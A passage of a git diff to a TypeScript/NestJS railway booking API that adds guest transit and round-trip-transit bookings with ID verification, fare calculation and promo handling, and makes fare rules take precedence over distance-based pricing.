+ create: [
+ ...passengersData.map((p) => ({
+ seat: { connect: { id: p.seatId } },
+ leg: 1,
+ scheduleId: dto.scheduleId,
+ passengerName: p.passengerName,
+ dateOfBirth: p.dateOfBirth,
+ passengerCategory: p.category,
+ idDocumentType: p.idDocumentType,
+ passportNumber: p.passportNumber,
+ passportCountry: p.passportCountry,
+ verifaydaVerified: p.verifaydaVerified,
+ verifaydaData: p.verifaydaData || undefined,
+ fareMinor: p.category === PassengerCategory.ADULT ? outboundBaseFare : (paidChildrenCount > 0 ? outboundBaseFare : 0),
+ displayCurrency,
+ })),
+ ...passengersData.map((p) => ({
+ seat: { connect: { id: p.returnSeatId } },
+ leg: 2,
+ scheduleId: dto.returnScheduleId,
+ passengerName: p.passengerName,
+ dateOfBirth: p.dateOfBirth,
+ passengerCategory: p.category,
+ idDocumentType: p.idDocumentType,
+ passportNumber: p.passportNumber,
+ passportCountry: p.passportCountry,
+ verifaydaVerified: p.verifaydaVerified,
+ verifaydaData: p.verifaydaData || undefined,
+ fareMinor: p.category === PassengerCategory.ADULT ? returnBaseFare : (paidChildrenCount > 0 ? returnBaseFare : 0),
+ displayCurrency,
+ })),
+ ],
+ },
+ } as any,
+ include: {
+ seats: { include: { seat: { include: { coach: true } } } },
+ schedule: { include: { originStation: true, destinationStation: true, train: true } },
+ },
+ });
+
+ await Promise.all([
+ this.seatsService.confirmSeats(outboundSeatIds),
+ this.seatsService.confirmSeats(returnSeatIds),
+ ]);
+ this.eventEmitter.emit('booking.created', { booking });
+
+ return {
+ ...booking,
+ createdAccount,
+ userId,
+ fareBreakdown: {
+ outboundBaseFareMinor: outboundBaseFare,
+ returnBaseFareMinor: returnBaseFare,
+ adultCount,
+ childCount,
+ freeChildrenCount: Math.min(childCount, 1),
+ paidChildrenCount,
+ combinedBaseFareMinor,
+ discountMinor,
+ taxesFeesMinor: taxesMinor,
+ totalMinor,
+ currency: 'ETB',
+ displayCurrency,
+ displayTotalMinor,
+ },
+ };
+ }
+
+ private async createGuestTransitBooking(dto: CreateGuestBookingDto) {
+ if (!dto.leg2ScheduleId || !dto.leg2HoldId || !dto.transitStationId || !dto.leg2DestinationStationId) {
+ throw new BadRequestException('leg2ScheduleId, leg2HoldId, transitStationId and leg2DestinationStationId are required for TRANSIT bookings');
+ }
+
+ const [leg1Hold, leg2Hold] = await Promise.all([
+ this.prisma.seatHold.findUnique({ where: { id: dto.holdId } }),
+ this.prisma.seatHold.findUnique({ where: { id: dto.leg2HoldId } }),
+ ]);
+ if (!leg1Hold || leg1Hold.expiresAt < new Date()) throw new BadRequestException('Leg-1 seat hold expired or not found');
+ if (!leg2Hold || leg2Hold.expiresAt < new Date()) throw new BadRequestException('Leg-2 seat hold expired or not found');
+
+ for (const p of dto.passengers) {
+ if (!p.leg2SeatId) throw new BadRequestException(`leg2SeatId is required for each passenger in a TRANSIT booking (missing for ${p.passengerName})`);
+ }
+
+ const [leg1Schedule, leg2Schedule] = await Promise.all([
+ this.prisma.trainSchedule.findUnique({
+ where: { id: dto.scheduleId },
+ include: { originStation: true, destinationStation: true, stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } } },
+ }),
+ this.prisma.trainSchedule.findUnique({
+ where: { id: dto.leg2ScheduleId },
+ include: { originStation: true, destinationStation: true, stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } } },
+ }),
+ ]);
+ if (!leg1Schedule) throw new NotFoundException('Leg-1 schedule not found');
+ if (!leg2Schedule) throw new NotFoundException('Leg-2 schedule not found');
+
+ const leg1OriginStop = leg1Schedule.stopTimes.find(s => s.stationId === dto.originStationId);
+ const leg1DestStop = leg1Schedule.stopTimes.find(s => s.stationId === dto.transitStationId);
+ const leg2OriginStop = leg2Schedule.stopTimes.find(s => s.stationId === dto.transitStationId);
+ const leg2DestStop = leg2Schedule.stopTimes.find(s => s.stationId === dto.leg2DestinationStationId);
+ if (!leg1OriginStop || !leg1DestStop) throw new NotFoundException('Leg-1 origin or transit station not found on schedule');
+ if (!leg2OriginStop || !leg2DestStop) throw new NotFoundException('Transit or leg-2 destination not found on leg-2 schedule');
+
+ // Process passengers (verify identity once)
+ const passengersData: any[] = [];
+ let adultCount = 0, childCount = 0;
+ for (const passenger of dto.passengers) {
+ const dateOfBirth = new Date(passenger.dateOfBirth);
+ const age = calculateAge(dateOfBirth);
+ const category: PassengerCategory = age < 5 ? PassengerCategory.CHILD : PassengerCategory.ADULT;
+ if (category === PassengerCategory.ADULT) adultCount++; else childCount++;
+
+ let passengerName = passenger.passengerName;
+ let verifaydaVerified = false;
+ let verifaydaData: Record | undefined;
+ let nationality = passenger.nationality;
+
+ const isEthiopian = passenger.nationality === 'Ethiopian' || passenger.nationality === 'ETHIOPIAN' || passenger.idDocumentType === IdDocumentType.NATIONAL_ID;
+ if (isEthiopian && passenger.idDocumentType === IdDocumentType.NATIONAL_ID && passenger.idDocumentNumber) {
+ const verification = await this.verifaydaService.verifyNationalId(passenger.idDocumentNumber);
+ if (!verification.verified) throw new BadRequestException(`Verifayda verification failed for ${passenger.passengerName}: ${verification.failureReason}`);
+ passengerName = verification.passengerData?.fullName || passengerName;
+ verifaydaVerified = true;
+ verifaydaData = verification.passengerData?.profileData;
+ nationality = 'Ethiopian';
+ } else if (!isEthiopian && passenger.idDocumentType === IdDocumentType.PASSPORT) {
+ if (!passenger.passportNumber || !passenger.passportCountry) throw new BadRequestException(`Passport details required for ${passenger.passengerName}`);
+ nationality = nationality || (passenger.passportCountry === 'Djibouti' ? 'Djiboutian' : 'Other');
+ } else {
+ nationality = nationality || 'Other';
+ }
+ passengersData.push({ ...passenger, passengerName, dateOfBirth, category, verifaydaVerified, verifaydaData, nationality });
+ }
+
+ const leg2SeatClassId = dto.leg2SeatClassId || dto.seatClassId;
+ const primaryNationality = passengersData[0]?.nationality;
+ const paidChildrenCount = Math.max(0, childCount - 1);
+
+ const [leg1BaseFare, leg2BaseFare] = await Promise.all([
+ this.getBaseFare(dto.scheduleId, dto.seatClassId,
+ `${leg1OriginStop.station.code}-${leg1DestStop.station.code}`,
+ `${leg1Schedule.originStation.code}-${leg1Schedule.destinationStation.code}`,
+ primaryNationality),
+ this.getBaseFare(dto.leg2ScheduleId, leg2SeatClassId,
+ `${leg2OriginStop.station.code}-${leg2DestStop.station.code}`,
+ `${leg2Schedule.originStation.code}-${leg2Schedule.destinationStation.code}`,
+ primaryNationality),
+ ]);
+
+ const leg1Total = leg1BaseFare * adultCount + leg1BaseFare * paidChildrenCount;
+ const leg2Total = leg2BaseFare * adultCount + leg2BaseFare * paidChildrenCount;
+ const combinedBase = leg1Total + leg2Total;
+
+ let discountMinor = 0;
+ if (dto.promoCode) {
+ const promo = await this.prisma.promotion.findUnique({ where: { code: dto.promoCode } });
+ if (promo?.active && promo.validUntil > new Date()) {
+ discountMinor = promo.percentOff ? Math.round(combinedBase * promo.percentOff / 100) : (promo.amountOffMinor ?? 0);
+ }
+ }
+ const taxesMinor = Math.round(combinedBase * 0.05);
+ const totalMinor = Math.max(0, combinedBase - discountMinor + taxesMinor);
+
+ const displayCurrency = dto.displayCurrency || Currency.ETB;
+ const displayTotalMinor = displayCurrency !== Currency.ETB
+ ? await this.currencyService.convertAmount(totalMinor, Currency.ETB, displayCurrency)
+ : totalMinor;
+
+ const { guestPassenger, userId, createdAccount } = await this.resolveGuestPassenger(dto, passengersData[0]);
+
+ // Single booking — leg-1 seats at leg=1, leg-2 seats at leg=2
+ const booking = await this.prisma.booking.create({
+ data: {
+ bookingRef: generateRef(),
+ passengerId: guestPassenger.id,
+ scheduleId: dto.scheduleId,
+ status: 'PENDING_PAYMENT',
+ bookingType: 'TRANSIT',
+ totalMinor,
+ adultCount,
+ childCount,
+ displayCurrency,
+ displayTotalMinor,
+ leg2ScheduleId: dto.leg2ScheduleId,
+ leg2OriginStationId: dto.transitStationId,
+ leg2DestinationStationId: dto.leg2DestinationStationId,
+ leg2SeatClassId: leg2SeatClassId,
+ userAgent: dto.deviceId,
+ seats: {
+ create: [
+ ...passengersData.map(p => ({
+ seat: { connect: { id: p.seatId } },
+ leg: 1,
+ scheduleId: dto.scheduleId,
+ passengerName: p.passengerName,
+ dateOfBirth: p.dateOfBirth,
+ passengerCategory: p.category,
+ idDocumentType: p.idDocumentType,
+ passportNumber: p.passportNumber,
+ passportCountry: p.passportCountry,
+ verifaydaVerified: p.verifaydaVerified,
+ verifaydaData: p.verifaydaData || undefined,
+ fareMinor: p.category === PassengerCategory.ADULT ? leg1BaseFare : (paidChildrenCount > 0 ? leg1BaseFare : 0),
+ displayCurrency,
+ })),
+ ...passengersData.map(p => ({
+ seat: { connect: { id: p.leg2SeatId! } },
+ leg: 2,
+ scheduleId: dto.leg2ScheduleId,
+ passengerName: p.passengerName,
+ dateOfBirth: p.dateOfBirth,
+ passengerCategory: p.category,
+ idDocumentType: p.idDocumentType,
+ passportNumber: p.passportNumber,
+ passportCountry: p.passportCountry,
+ verifaydaVerified: p.verifaydaVerified,
+ verifaydaData: p.verifaydaData || undefined,
+ fareMinor: p.category === PassengerCategory.ADULT ? leg2BaseFare : (paidChildrenCount > 0 ? leg2BaseFare : 0),
+ displayCurrency,
+ })),
+ ],
+ },
+ } as any,
+ include: {
+ seats: { include: { seat: { include: { coach: true } } } },
+ schedule: { include: { originStation: true, destinationStation: true, train: true } },
+ },
+ });
+
+ await Promise.all([
+ this.seatsService.confirmSeats(dto.passengers.map(p => p.seatId)),
+ this.seatsService.confirmSeats(dto.passengers.map(p => p.leg2SeatId!)),
+ ]);
+ this.eventEmitter.emit('booking.created', { booking });
+
+ return {
+ ...booking,
+ createdAccount,
+ userId,
+ fareBreakdown: {
+ leg1BaseFareMinor: leg1BaseFare,
+ leg2BaseFareMinor: leg2BaseFare,
+ adultCount, childCount,
+ freeChildrenCount: Math.min(childCount, 1),
+ paidChildrenCount,
+ combinedBaseFareMinor: combinedBase,
+ discountMinor, taxesFeesMinor: taxesMinor, totalMinor,
+ currency: 'ETB', displayCurrency, displayTotalMinor,
+ },
+ };
+ }
+
+ private async createGuestRoundTripTransitBooking(dto: CreateGuestBookingDto) {
+ if (!dto.leg2ScheduleId || !dto.leg2HoldId || !dto.transitStationId || !dto.leg2DestinationStationId ||
+ !dto.returnScheduleId || !dto.returnHoldId || !dto.returnOriginStationId || !dto.returnDestinationStationId ||
+ !dto.returnLeg2ScheduleId || !dto.returnLeg2HoldId || !dto.returnTransitStationId || !dto.returnLeg2DestinationStationId) {
+ throw new BadRequestException(
+ 'ROUND_TRIP_TRANSIT requires all 4 holds and all transit/return station fields',
+ );
+ }
+ for (const p of dto.passengers) {
+ if (!p.leg2SeatId) throw new BadRequestException(`leg2SeatId required for ${p.passengerName}`);
+ if (!p.returnSeatId) throw new BadRequestException(`returnSeatId required for ${p.passengerName}`);
+ if (!p.returnLeg2SeatId) throw new BadRequestException(`returnLeg2SeatId required for ${p.passengerName}`);
+ }
+
+ const now = new Date();
+ const [obL1Hold, obL2Hold, retL1Hold, retL2Hold] = await Promise.all([
+ this.prisma.seatHold.findUnique({ where: { id: dto.holdId } }),
+ this.prisma.seatHold.findUnique({ where: { id: dto.leg2HoldId } }),
+ this.prisma.seatHold.findUnique({ where: { id: dto.returnHoldId } }),
+ this.prisma.seatHold.findUnique({ where: { id: dto.returnLeg2HoldId } }),
+ ]);
+ if (!obL1Hold || obL1Hold.expiresAt < now) throw new BadRequestException('Outbound leg-1 hold expired');
+ if (!obL2Hold || obL2Hold.expiresAt < now) throw new BadRequestException('Outbound leg-2 hold expired');
+ if (!retL1Hold || retL1Hold.expiresAt < now) throw new BadRequestException('Return leg-1 hold expired');
+ if (!retL2Hold || retL2Hold.expiresAt < now) throw new BadRequestException('Return leg-2 hold expired');
+
+ const [obL1Sched, obL2Sched, retL1Sched, retL2Sched] = await Promise.all([
+ this.prisma.trainSchedule.findUnique({ where: { id: dto.scheduleId }, include: { originStation: true, destinationStation: true, stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } } } }),
+ this.prisma.trainSchedule.findUnique({ where: { id: dto.leg2ScheduleId }, include: { originStation: true, destinationStation: true, stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } } } }),
+ this.prisma.trainSchedule.findUnique({ where: { id: dto.returnScheduleId }, include: { originStation: true, destinationStation: true, stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } } } }),
+ this.prisma.trainSchedule.findUnique({ where: { id: dto.returnLeg2ScheduleId },include: { originStation: true, destinationStation: true, stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } } } }),
+ ]);
+ if (!obL1Sched) throw new NotFoundException('Outbound leg-1 schedule not found');
+ if (!obL2Sched) throw new NotFoundException('Outbound leg-2 schedule not found');
+ if (!retL1Sched) throw new NotFoundException('Return leg-1 schedule not found');
+ if (!retL2Sched) throw new NotFoundException('Return leg-2 schedule not found');
+
+ const obL1Origin = obL1Sched.stopTimes.find(s => s.stationId === dto.originStationId);
+ const obL1Dest = obL1Sched.stopTimes.find(s => s.stationId === dto.transitStationId);
+ const obL2Origin = obL2Sched.stopTimes.find(s => s.stationId === dto.transitStationId);
+ const obL2Dest = obL2Sched.stopTimes.find(s => s.stationId === dto.leg2DestinationStationId);
+ const retL1Origin = retL1Sched.stopTimes.find(s => s.stationId === dto.returnOriginStationId);
+ const retL1Dest = retL1Sched.stopTimes.find(s => s.stationId === dto.returnTransitStationId);
+ const retL2Origin = retL2Sched.stopTimes.find(s => s.stationId === dto.returnTransitStationId);
+ const retL2Dest = retL2Sched.stopTimes.find(s => s.stationId === dto.returnLeg2DestinationStationId);
+ if (!obL1Origin || !obL1Dest) throw new NotFoundException('Outbound leg-1: origin or transit stop not found');
+ if (!obL2Origin || !obL2Dest) throw new NotFoundException('Outbound leg-2: transit or destination stop not found');
+ if (!retL1Origin || !retL1Dest) throw new NotFoundException('Return leg-1: origin or transit stop not found');
+ if (!retL2Origin || !retL2Dest) throw new NotFoundException('Return leg-2: transit or destination stop not found');
+
+ // Process passengers (verify once)
+ const passengersData: any[] = [];
+ let adultCount = 0, childCount = 0;
+ for (const passenger of dto.passengers) {
+ const dateOfBirth = new Date(passenger.dateOfBirth);
+ const category: PassengerCategory = calculateAge(dateOfBirth) < 5 ? PassengerCategory.CHILD : PassengerCategory.ADULT;
+ if (category === PassengerCategory.ADULT) adultCount++; else childCount++;
+ let passengerName = passenger.passengerName;
+ let verifaydaVerified = false;
+ let verifaydaData: Record | undefined;
+ let nationality = passenger.nationality;
+ const isEthiopian = nationality === 'Ethiopian' || nationality === 'ETHIOPIAN' || passenger.idDocumentType === IdDocumentType.NATIONAL_ID;
+ if (isEthiopian && passenger.idDocumentType === IdDocumentType.NATIONAL_ID && passenger.idDocumentNumber) {
+ const v = await this.verifaydaService.verifyNationalId(passenger.idDocumentNumber);
+ if (!v.verified) throw new BadRequestException(`Verifayda failed for ${passenger.passengerName}: ${v.failureReason}`);
+ passengerName = v.passengerData?.fullName || passengerName;
+ verifaydaVerified = true;
+ verifaydaData = v.passengerData?.profileData;
+ nationality = 'Ethiopian';
+ } else if (!isEthiopian && passenger.idDocumentType === IdDocumentType.PASSPORT) {
+ if (!passenger.passportNumber || !passenger.passportCountry) throw new BadRequestException(`Passport details required for ${passenger.passengerName}`);
+ nationality = nationality || (passenger.passportCountry === 'Djibouti' ? 'Djiboutian' : 'Other');
+ } else {
+ nationality = nationality || 'Other';
+ }
+ passengersData.push({ ...passenger, passengerName, dateOfBirth, category, verifaydaVerified, verifaydaData, nationality });
+ }
+
+ const nat = passengersData[0]?.nationality;
+ const paidChildren = Math.max(0, childCount - 1);
+ const obL2ClassId = dto.leg2SeatClassId ?? dto.seatClassId;
+ const retL1ClassId = dto.returnSeatClassId ?? dto.seatClassId;
+ const retL2ClassId = dto.returnLeg2SeatClassId ?? dto.seatClassId;
+
+ const [obL1Fare, obL2Fare, retL1Fare, retL2Fare] = await Promise.all([
+ this.getBaseFare(dto.scheduleId, dto.seatClassId, `${obL1Origin.station.code}-${obL1Dest.station.code}`, `${obL1Sched.originStation.code}-${obL1Sched.destinationStation.code}`, nat),
+ this.getBaseFare(dto.leg2ScheduleId!, obL2ClassId, `${obL2Origin.station.code}-${obL2Dest.station.code}`, `${obL2Sched.originStation.code}-${obL2Sched.destinationStation.code}`, nat),
+ this.getBaseFare(dto.returnScheduleId!, retL1ClassId, `${retL1Origin.station.code}-${retL1Dest.station.code}`, `${retL1Sched.originStation.code}-${retL1Sched.destinationStation.code}`, nat),
+ this.getBaseFare(dto.returnLeg2ScheduleId!,retL2ClassId, `${retL2Origin.station.code}-${retL2Dest.station.code}`, `${retL2Sched.originStation.code}-${retL2Sched.destinationStation.code}`, nat),
+ ]);
+
+ const combinedBase = (obL1Fare + obL2Fare + retL1Fare + retL2Fare) * adultCount +
+ (obL1Fare + obL2Fare + retL1Fare + retL2Fare) * paidChildren;
+ let discountMinor = 0;
+ if (dto.promoCode) {
+ const promo = await this.prisma.promotion.findUnique({ where: { code: dto.promoCode } });
+ if (promo?.active && promo.validUntil > new Date()) {
+ discountMinor = promo.percentOff ? Math.round(combinedBase * promo.percentOff / 100) : (promo.amountOffMinor ?? 0);
+ }
+ }
+ const taxesMinor = Math.round(combinedBase * 0.05);
+ const totalMinor = Math.max(0, combinedBase - discountMinor + taxesMinor);
+ const displayCurrency = dto.displayCurrency || Currency.ETB;
+ const displayTotalMinor = displayCurrency !== Currency.ETB
+ ? await this.currencyService.convertAmount(totalMinor, Currency.ETB, displayCurrency)
+ : totalMinor;
+
+ const { guestPassenger, userId, createdAccount } = await this.resolveGuestPassenger(dto, passengersData[0]);
+
+ const makeSeat = (p: any, seatId: string, leg: number, scheduleId: string, fare: number) => ({
+ seat: { connect: { id: seatId } },
+ leg,
+ scheduleId,
+ passengerName: p.passengerName,
+ dateOfBirth: p.dateOfBirth,
+ passengerCategory: p.category,
+ idDocumentType: p.idDocumentType,
+ passportNumber: p.passportNumber,
+ passportCountry: p.passportCountry,
+ verifaydaVerified: p.verifaydaVerified,
+ verifaydaData: p.verifaydaData || undefined,
+ fareMinor: p.category === PassengerCategory.ADULT ? fare : (paidChildren > 0 ? fare : 0),
+ displayCurrency,
+ });
+
+ const booking = await this.prisma.booking.create({
+ data: {
+ bookingRef: generateRef(),
+ passengerId: guestPassenger.id,
+ scheduleId: dto.scheduleId,
+ status: 'PENDING_PAYMENT',
+ bookingType: 'ROUND_TRIP_TRANSIT',
+ totalMinor, adultCount, childCount, displayCurrency, displayTotalMinor,
+ leg2ScheduleId: dto.leg2ScheduleId,
+ leg2OriginStationId: dto.transitStationId,
+ leg2DestinationStationId: dto.leg2DestinationStationId,
+ leg2SeatClassId: obL2ClassId,
+ returnScheduleId: dto.returnScheduleId,
+ returnOriginStationId: dto.returnOriginStationId,
+ returnDestinationStationId: dto.returnDestinationStationId,
+ returnSeatClassId: retL1ClassId,
+ returnLeg2ScheduleId: dto.returnLeg2ScheduleId,
+ returnLeg2OriginStationId: dto.returnTransitStationId,
+ returnLeg2DestStationId: dto.returnLeg2DestinationStationId,
+ returnLeg2SeatClassId: retL2ClassId,
+ returnLegStatus: 'NEITHER_USED',
+ userAgent: dto.deviceId,
+ seats: {
+ create: [
+ ...passengersData.map(p => makeSeat(p, p.seatId, 1, dto.scheduleId, obL1Fare)),
+ ...passengersData.map(p => makeSeat(p, p.leg2SeatId!, 2, dto.leg2ScheduleId!, obL2Fare)),
+ ...passengersData.map(p => makeSeat(p, p.returnSeatId!, 3, dto.returnScheduleId!, retL1Fare)),
+ ...passengersData.map(p => makeSeat(p, p.returnLeg2SeatId!,4, dto.returnLeg2ScheduleId!,retL2Fare)),
+ ],
+ },
+ } as any,
+ include: {
+ seats: { include: { seat: { include: { coach: true } } } },
+ schedule: { include: { originStation: true, destinationStation: true, train: true } },
+ },
+ });
+
+ await Promise.all([
+ this.seatsService.confirmSeats(dto.passengers.map(p => p.seatId)),
+ this.seatsService.confirmSeats(dto.passengers.map(p => p.leg2SeatId!)),
+ this.seatsService.confirmSeats(dto.passengers.map(p => p.returnSeatId!)),
+ this.seatsService.confirmSeats(dto.passengers.map(p => p.returnLeg2SeatId!)),
+ ]);
+ this.eventEmitter.emit('booking.created', { booking });
+
+ return {
+ ...booking,
+ createdAccount,
+ userId,
+ fareBreakdown: {
+ outboundLeg1FareMinor: obL1Fare,
+ outboundLeg2FareMinor: obL2Fare,
+ returnLeg1FareMinor: retL1Fare,
+ returnLeg2FareMinor: retL2Fare,
+ adultCount, childCount,
+ freeChildrenCount: Math.min(childCount, 1),
+ paidChildrenCount: paidChildren,
+ combinedBaseFareMinor: combinedBase,
+ discountMinor, taxesFeesMinor: taxesMinor, totalMinor,
+ currency: 'ETB', displayCurrency, displayTotalMinor,
+ },
+ };
+ }
+
+ private async resolveGuestPassenger(
+ dto: Pick,
+ firstPassenger: any,
+ ): Promise<{ guestPassenger: any; userId: string | null; createdAccount: boolean }> {
+ if (dto.createAccount && firstPassenger.email && dto.password) {
+ const existingUser = await this.prisma.user.findUnique({ where: { email: firstPassenger.email } });
+ if (existingUser) throw new BadRequestException('Email already registered. Please login instead.');
+
+ let accountPhone = firstPassenger.phone || null;
+ if (accountPhone) {
+ const existingPhone = await this.prisma.user.findUnique({ where: { phone: accountPhone } });
+ if (existingPhone) throw new BadRequestException('Phone number already registered. Please login instead.');
+ }
+ if (!accountPhone) accountPhone = `+guest-${Date.now()}-${Math.random().toString(36).substring(2, 9)}`;
+
+ const user = await this.prisma.user.create({
+ data: {
+ fullName: firstPassenger.passengerName,
+ email: firstPassenger.email,
+ phone: accountPhone,
+ passwordHash: await bcrypt.hash(dto.password, 10),
+ nationality: firstPassenger.nationality,
+ nationalId: firstPassenger.idDocumentType === IdDocumentType.NATIONAL_ID ? firstPassenger.idDocumentNumber : undefined,
+ passportNumber: firstPassenger.passportNumber,
+ },
+ });
+ const guestPassenger = await this.prisma.passenger.create({ data: { userId: user.id } });
+ await this.prisma.loyaltyAccount.create({ data: { passengerId: guestPassenger.id, pointsBalance: 0, tier: 'BRONZE' } });
+ await this.prisma.walletAccount.create({ data: { passengerId: guestPassenger.id, balanceMinor: 0 } });
+ return { guestPassenger, userId: user.id, createdAccount: true };
+ }
+
+ const uniqueId = `${Date.now()}-${Math.random().toString(36).substring(2, 9)}`;
+ let guestEmail = firstPassenger.email || `guest-${uniqueId}@edr-platform.com`;
+ if (firstPassenger.email) {
+ const existing = await this.prisma.user.findUnique({ where: { email: firstPassenger.email } });
+ if (existing) guestEmail = `guest-${uniqueId}@edr-platform.com`;
+ }
+ let guestPhone = firstPassenger.phone || null;
+ if (guestPhone) {
+ const existing = await this.prisma.user.findUnique({ where: { phone: guestPhone } });
+ if (existing) guestPhone = null;
+ }
+ if (!guestPhone) guestPhone = `+guest-${uniqueId}`;
+
+ const tempUser = await this.prisma.user.create({
+ data: {
+ fullName: firstPassenger.passengerName,
+ email: guestEmail,
+ phone: guestPhone,
+ passwordHash: await bcrypt.hash(Math.random().toString(36), 10),
+ role: 'PASSENGER',
+ },
+ });
+ const guestPassenger = await this.prisma.passenger.create({ data: { userId: tempUser.id } });
+ return { guestPassenger, userId: null, createdAccount: false };
+ }
+
async getSavedPassengers(userId?: string, deviceId?: string): Promise {
if (!userId && !deviceId) {
throw new BadRequestException('Either userId or deviceId is required');
@@ -343,6 +926,8 @@ export class GuestBookingService {
nationality?: string,
): Promise {
const now = new Date();
+
+ // 1. FareRule table — explicit override rules
const candidates = await this.prisma.fareRule.findMany({
where: {
seatClassId,
@@ -368,14 +953,34 @@ export class GuestBookingService {
for (const priority of priorities) {
const match = candidates.find(
- (c) =>
- c.tripId === priority.tripId &&
- c.route === priority.route &&
- c.nationality === priority.nationality,
+ (c) => c.tripId === priority.tripId && c.route === priority.route && c.nationality === priority.nationality,
);
if (match) return match.baseFareMinor;
}
- return 35000; // Default fallback
+ // 2. FareEngine — distance × rate-per-km from the schedule's route
+ const schedule = await this.prisma.trainSchedule.findUnique({
+ where: { id: scheduleId },
+ select: { routeId: true, originStationId: true, destinationStationId: true },
+ });
+
+ if (schedule?.routeId) {
+ try {
+ const fare = await this.fareEngine.calculate({
+ routeId: schedule.routeId,
+ originStationId: schedule.originStationId,
+ destinationStationId: schedule.destinationStationId,
+ seatClassId,
+ nationality,
+ });
+ return fare.baseFarePerPassengerMinor;
+ } catch {
+ // FareEngine throws if distanceKm is missing; fall through to error
+ }
+ }
+
+ throw new BadRequestException(
+ `No fare configured for this schedule and seat class. Please set up fare rules or route distances.`,
+ );
}
}
diff --git a/apps/edr-passenger-api/src/modules/fare-engine/fare-engine.dto.ts b/apps/edr-passenger-api/src/modules/fare-engine/fare-engine.dto.ts
index 536ddaa3b..5d3a288cd 100644
--- a/apps/edr-passenger-api/src/modules/fare-engine/fare-engine.dto.ts
+++ b/apps/edr-passenger-api/src/modules/fare-engine/fare-engine.dto.ts
@@ -47,6 +47,9 @@ export class FareCalculateDto {
@ApiPropertyOptional({ example: 'WEEKEND15', description: 'Promo code for discount' })
@IsOptional() @IsString() promoCode?: string;
+
+ @ApiPropertyOptional({ example: 'schedule-uuid', description: 'Schedule UUID — used to match schedule-scoped FareRules first' })
+ @IsOptional() @IsString() scheduleId?: string;
}
export class FareBreakdownDto {
diff --git a/apps/edr-passenger-api/src/modules/fare-engine/fare-engine.service.ts b/apps/edr-passenger-api/src/modules/fare-engine/fare-engine.service.ts
index b111b5d67..9071f0535 100644
--- a/apps/edr-passenger-api/src/modules/fare-engine/fare-engine.service.ts
+++ b/apps/edr-passenger-api/src/modules/fare-engine/fare-engine.service.ts
@@ -32,20 +32,59 @@ export class FareEngineService {
s => s.sequence > originStop.sequence && s.sequence <= destStop.sequence,
);
- const missingDistance = legStops.filter(s => s.distanceKm === null || s.distanceKm === undefined);
- if (missingDistance.length > 0)
- throw new BadRequestException(
- `Missing distanceKm on route stops at sequences: ${missingDistance.map(s => s.sequence).join(', ')}`,
- );
-
- const totalDistanceKm = legStops.reduce((sum, s) => sum + (s.distanceKm ?? 0), 0);
-
const seatClass = await this.prisma.seatClass.findUnique({ where: { id: dto.seatClassId } });
if (!seatClass) throw new NotFoundException('Seat class not found');
if (!seatClass.isActive) throw new BadRequestException('Seat class is not active');
- const ratePerKmMinor = seatClass.baseFareMinor;
- const baseFarePerPassengerMinor = totalDistanceKm * ratePerKmMinor;
+ // Resolve fare: FareRule (schedule-scoped → route-scoped) takes precedence over distance×rate
+ const now = new Date();
+ const [originStation, destStation] = await Promise.all([
+ this.prisma.station.findUnique({ where: { id: dto.originStationId } }),
+ this.prisma.station.findUnique({ where: { id: dto.destinationStationId } }),
+ ]);
+ const segmentRoute = originStation && destStation
+ ? `${originStation.code}-${destStation.code}` : null;
+ const fullRoute = `${route.code}`;
+
+ const fareRuleCandidates = await this.prisma.fareRule.findMany({
+ where: {
+ seatClassId: dto.seatClassId,
+ validFrom: { lte: now },
+ OR: [{ validUntil: null }, { validUntil: { gte: now } }],
+ },
+ });
+
+ const fareRule = this.pickBestFareRule(
+ fareRuleCandidates,
+ dto.scheduleId,
+ segmentRoute,
+ fullRoute,
+ dto.nationality,
+ );
+
+ let baseFarePerPassengerMinor: number;
+ let ratePerKmMinor: number;
+ let totalDistanceKm: number;
+ let fareSource: string;
+
+ if (fareRule) {
+ // Flat fare from FareRule — distance is informational only
+ baseFarePerPassengerMinor = fareRule.baseFareMinor;
+ totalDistanceKm = legStops.reduce((sum, s) => sum + (s.distanceKm ?? 0), 0);
+ ratePerKmMinor = totalDistanceKm > 0 ? Math.round(baseFarePerPassengerMinor / totalDistanceKm) : 0;
+ fareSource = fareRule.tripId ? 'SCHEDULE_FARE_RULE' : 'ROUTE_FARE_RULE';
+ } else {
+ // Distance × rate fallback
+ const missingDistance = legStops.filter(s => s.distanceKm === null || s.distanceKm === undefined);
+ if (missingDistance.length > 0)
+ throw new BadRequestException(
+ `Missing distanceKm on route stops at sequences: ${missingDistance.map(s => s.sequence).join(', ')}`,
+ );
+ totalDistanceKm = legStops.reduce((sum, s) => sum + (s.distanceKm ?? 0), 0);
+ ratePerKmMinor = seatClass.baseFareMinor;
+ baseFarePerPassengerMinor = totalDistanceKm * ratePerKmMinor;
+ fareSource = 'DISTANCE_RATE';
+ }
// Premium and insurance fees applied per passenger
const premiumPerPassenger = seatClass.premiumMinor ?? 0;
@@ -84,11 +123,6 @@ export class FareEngineService {
const exchangeRate = await this.currencyService.getExchangeRate(Currency.ETB, billingCurrency);
const totalInBillingCurrency = Math.round(totalEtbMinor * exchangeRate);
- const [originStation, destStation] = await Promise.all([
- this.prisma.station.findUnique({ where: { id: dto.originStationId } }),
- this.prisma.station.findUnique({ where: { id: dto.destinationStationId } }),
- ]);
-
const calculation = [
`Distance: ${totalDistanceKm} km (${originStation?.name} → ${destStation?.name})`,
`Rate per km: ${ratePerKmMinor} ETB minor (${seatClass.name})`,
@@ -110,9 +144,11 @@ export class FareEngineService {
`Nationality: ${dto.nationality ?? 'unspecified'} → ${billingCurrency}`,
`Exchange rate: 1 ETB = ${exchangeRate} ${billingCurrency}`,
`Total (${billingCurrency}): ${totalInBillingCurrency} ${billingCurrency} minor`,
+ `Fare source: ${fareSource}`,
].join('\n');
return {
+ fareSource,
routeCode: route.code,
originName: originStation?.name ?? dto.originStationId,
destinationName: destStation?.name ?? dto.destinationStationId,
@@ -161,6 +197,37 @@ export class FareEngineService {
return results.filter(Boolean);
}
+ private pickBestFareRule(
+ candidates: any[],
+ scheduleId?: string,
+ segmentRoute?: string | null,
+ fullRoute?: string,
+ nationality?: string,
+ ): any | null {
+ const nat = nationality ?? null;
+ const priorities = [
+ { tripId: scheduleId, route: segmentRoute, nationality: nat },
+ { tripId: scheduleId, route: segmentRoute, nationality: null },
